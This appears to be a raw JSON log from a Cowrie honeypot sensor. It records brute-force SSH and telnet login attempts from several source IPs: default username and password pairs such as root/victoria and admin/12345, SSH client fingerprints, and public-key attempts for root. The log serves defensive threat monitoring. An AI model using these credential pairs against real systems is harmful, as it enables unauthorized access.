{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:54.381658Z","src_ip":"193.228.128.84","session":"9d62bccee567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria","message":"login attempt [root/victoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:54.687993Z","src_ip":"193.228.128.84","session":"9d62bccee567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:55.793826Z","src_ip":"193.228.128.84","session":"9d62bccee567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.704038143157959,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:57.649837Z","src_ip":"176.65.139.121","session":"db975763663b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46056,"dst_ip":"159.203.135.109","dst_port":23,"session":"f297ecbf3ee5","protocol":"telnet","message":"New connection: 176.65.139.121:46056 (159.203.135.109:23) [session: f297ecbf3ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:57.730010Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":34972,"dst_ip":"10.17.0.5","dst_port":22,"session":"aabe289223ea","protocol":"ssh","message":"New connection: 62.133.63.178:34972 (10.17.0.5:22) [session: aabe289223ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:01.891097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:01.895163Z","src_ip":"62.133.63.178","session":"aabe289223ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:02.024516Z","src_ip":"62.133.63.178","session":"aabe289223ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csyjxtr","message":"login attempt [root/csyjxtr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:02.399054Z","src_ip":"62.133.63.178","session":"aabe289223ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.102745532989502,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:02.832654Z","src_ip":"176.65.139.121","session":"f297ecbf3ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46064,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6256b7f092d","protocol":"telnet","message":"New connection: 176.65.139.121:46064 (159.203.135.109:23) [session: d6256b7f092d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:02.932820Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:03.527911Z","src_ip":"62.133.63.178","session":"aabe289223ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.41119909286499,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:04.543730Z","src_ip":"152.42.224.71","session":"2369b2709a31","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:09.265018Z","src_ip":"176.65.139.121","session":"d6256b7f092d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.382133483886719,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:12.314814Z","src_ip":"176.65.139.121","session":"d6256b7f092d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39386,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb986371a28d","protocol":"telnet","message":"New connection: 176.65.139.121:39386 (159.203.135.109:23) [session: fb986371a28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:12.393825Z"}
{"eventid":"cowrie.session.closed","duration":4.358132362365723,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:16.751810Z","src_ip":"176.65.139.121","session":"fb986371a28d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50816,"dst_ip":"159.203.135.109","dst_port":23,"session":"495449fe6145","protocol":"telnet","message":"New connection: 176.65.139.121:50816 (159.203.135.109:23) [session: 495449fe6145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:16.850074Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40762,"dst_ip":"159.203.135.109","dst_port":22,"session":"28022214e957","protocol":"ssh","message":"New connection: 103.27.238.120:40762 (159.203.135.109:22) [session: 28022214e957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:19.607154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:19.612548Z","src_ip":"103.27.238.120","session":"28022214e957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:19.891744Z","src_ip":"103.27.238.120","session":"28022214e957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsx123","message":"login attempt [root/zaqwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:20.713189Z","src_ip":"103.27.238.120","session":"28022214e957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.639314889907837,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:21.489244Z","src_ip":"176.65.139.121","session":"495449fe6145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50824,"dst_ip":"159.203.135.109","dst_port":23,"session":"2213ab7b27d3","protocol":"telnet","message":"New connection: 176.65.139.121:50824 (159.203.135.109:23) [session: 2213ab7b27d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:21.604496Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:21.989821Z","src_ip":"103.27.238.120","session":"28022214e957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.58592224121094,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:25.164214Z","src_ip":"152.42.224.71","session":"d08de559e651","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:25.894554Z","src_ip":"176.65.139.121","session":"2213ab7b27d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.679418325424194,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:30.283814Z","src_ip":"176.65.139.121","session":"2213ab7b27d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39100,"dst_ip":"159.203.135.109","dst_port":23,"session":"132440b150e0","protocol":"telnet","message":"New connection: 176.65.139.121:39100 (159.203.135.109:23) [session: 132440b150e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:30.410963Z"}
{"eventid":"cowrie.login.failed","username":"router","password":"router","message":"login attempt [router/router] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:34.272880Z","src_ip":"176.65.139.121","session":"132440b150e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.861894369125366,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:35.272728Z","src_ip":"176.65.139.121","session":"132440b150e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39104,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc057de9f01","protocol":"telnet","message":"New connection: 176.65.139.121:39104 (159.203.135.109:23) [session: 5bc057de9f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:35.357809Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3a55ef84c14","protocol":"telnet","message":"New connection: 152.42.224.71:51752 (10.17.0.5:23) [session: b3a55ef84c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:35.445974Z"}
{"eventid":"cowrie.session.closed","duration":8.697831153869629,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:44.055511Z","src_ip":"176.65.139.121","session":"5bc057de9f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":59386,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ece0ec11f30","protocol":"telnet","message":"New connection: 176.65.139.121:59386 (159.203.135.109:23) [session: 3ece0ec11f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:44.154473Z"}
{"eventid":"cowrie.session.closed","duration":67.07784509658813,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:46.073736Z","src_ip":"152.42.224.71","session":"342c4dc684e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:50.826832Z","src_ip":"176.65.139.121","session":"3ece0ec11f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.68395209312439,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:51.838126Z","src_ip":"176.65.139.121","session":"3ece0ec11f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd31cdef83f8","protocol":"telnet","message":"New connection: 176.65.139.121:55148 (159.203.135.109:23) [session: bd31cdef83f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:51.927792Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.219.63.36","src_port":49324,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2a278a0e59","protocol":"ssh","message":"New connection: 91.219.63.36:49324 (10.17.0.5:22) [session: 5b2a278a0e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.235179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.240426Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.324730Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:7a:19:ba:c3:81:52:b1:9e:01:05:b3:b0:08:4e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5/KFWlv4O33L6UYfxBAL2fL3rBDet7nahW9QwSoBFudZMWFnmyE4Vs0ipXuSUQ17ZnQ2qpDs2ihfgZ87uwgpMj0wlm1p1Z9PlZHka8aiWRdyOlMk+u08DOz8D7oPEmekG1e1z3XeepnlsslOdK1X5X01uYh6Pns+RahZEBrqGO6clWj27WBsR2ox08fLxO0ftxclsZwcRdfy4U90FOLeDOcio/2ZXo/Jz54AwuNw0oFc8uTC1iBJ5rGfChedOAvFsAJXP0qrcaEjFZYpY9Njl/++atjSZqLSlZG+KFWlF2qHcFdYoGt0W9nPvbLRCXL3/wNvQQmM1oXDzPI4LD8TzmKY28BjtMB1zAbIbfx+iHTlWjSczNY7nKODCGhEiXxCbCgLJtwG879NhCsfzrAf9EdKff2wGH9csXToFEwaU8xD10rshT3Cx9hBWYMA/5uOLQGCP25iE54ZYYGtgDMHzG0hh5fpC2zYvJYBZnQB1Hbv/aSsfvk+BEBs+IBgVDYU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:7a:19:ba:c3:81:52:b1:9e:01:05:b3:b0:08:4e:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.719101Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:7a:19:ba:c3:81:52:b1:9e:01:05:b3:b0:08:4e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5/KFWlv4O33L6UYfxBAL2fL3rBDet7nahW9QwSoBFudZMWFnmyE4Vs0ipXuSUQ17ZnQ2qpDs2ihfgZ87uwgpMj0wlm1p1Z9PlZHka8aiWRdyOlMk+u08DOz8D7oPEmekG1e1z3XeepnlsslOdK1X5X01uYh6Pns+RahZEBrqGO6clWj27WBsR2ox08fLxO0ftxclsZwcRdfy4U90FOLeDOcio/2ZXo/Jz54AwuNw0oFc8uTC1iBJ5rGfChedOAvFsAJXP0qrcaEjFZYpY9Njl/++atjSZqLSlZG+KFWlF2qHcFdYoGt0W9nPvbLRCXL3/wNvQQmM1oXDzPI4LD8TzmKY28BjtMB1zAbIbfx+iHTlWjSczNY7nKODCGhEiXxCbCgLJtwG879NhCsfzrAf9EdKff2wGH9csXToFEwaU8xD10rshT3Cx9hBWYMA/5uOLQGCP25iE54ZYYGtgDMHzG0hh5fpC2zYvJYBZnQB1Hbv/aSsfvk+BEBs+IBgVDYU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.723361Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:2a:3f:d5:76:89:41:a8:4b:c3:ff:78:45:56:08:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXcxHe+vKiONiXuJKHbSIjRjggiuk5t4X8gSVMjWpxsnNRh7voLNdVg+roD6PEA/YiDHNAjD9vi/neu9RttBV+gHaEjc0Dub0vO4AHHLRS4kHKGOtmZ3gusKfmeEM18V9PHv1/A/mz0Druk3x15G+HM/VBuvf3Wmk+Ml9ZjBueVfIiDryIM+0V0sND/w72pgi7Wyjr24sUY690qJQQy3bvuZvkBvUWRoXMKirFXvA44ZFu8JFy66TJhi2KC2/MB2V1lmqYF+TSSPP+fAKzTyoYgjqr4xgFx82oP9Dk/4FJgQraPXzBRwG1cbN+2sydfbS6pZ5UnRhYqX4XpLiZ2rIr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:2a:3f:d5:76:89:41:a8:4b:c3:ff:78:45:56:08:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.807600Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:2a:3f:d5:76:89:41:a8:4b:c3:ff:78:45:56:08:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXcxHe+vKiONiXuJKHbSIjRjggiuk5t4X8gSVMjWpxsnNRh7voLNdVg+roD6PEA/YiDHNAjD9vi/neu9RttBV+gHaEjc0Dub0vO4AHHLRS4kHKGOtmZ3gusKfmeEM18V9PHv1/A/mz0Druk3x15G+HM/VBuvf3Wmk+Ml9ZjBueVfIiDryIM+0V0sND/w72pgi7Wyjr24sUY690qJQQy3bvuZvkBvUWRoXMKirFXvA44ZFu8JFy66TJhi2KC2/MB2V1lmqYF+TSSPP+fAKzTyoYgjqr4xgFx82oP9Dk/4FJgQraPXzBRwG1cbN+2sydfbS6pZ5UnRhYqX4XpLiZ2rIr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.811635Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:b2:1b:f2:95:72:bf:8d:2f:79:65:48:fa:6e:95:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMC1MVm1MH3sXv3OCmeyJtm9pS6RlosReFz1jbubbwOu50yBnzVbpH0Io8kFKxIsq3Wf8gVX6/36Y24FaYjdpRoVCFCw6tX8LNLSB8jF7+f0VdkUq7lqPksUKmBPEm9OplUiv6UXiw2nixpOT+G8dw8gKU0HM7bOUlMtuDvuyXx1aGKskPg74QGlJcfZcTTUhslt5UBVIubwfhGVgxtyCt3ThX9BTRprtRrUJK4gu9s63sHvqw/JmQiSbWgKMYr4PfKMk2Uh4a39qEmykat/zwKxviTDqw3pb66tc9b42nck4b3nxtifKdF2YcnHrabC4vr+1U45qFQPMGjHVr2RCl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:b2:1b:f2:95:72:bf:8d:2f:79:65:48:fa:6e:95:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:27:55.895584Z","src_ip":"91.219.63.36","session":"5b2a278a0e59","protocol":"ssh"}
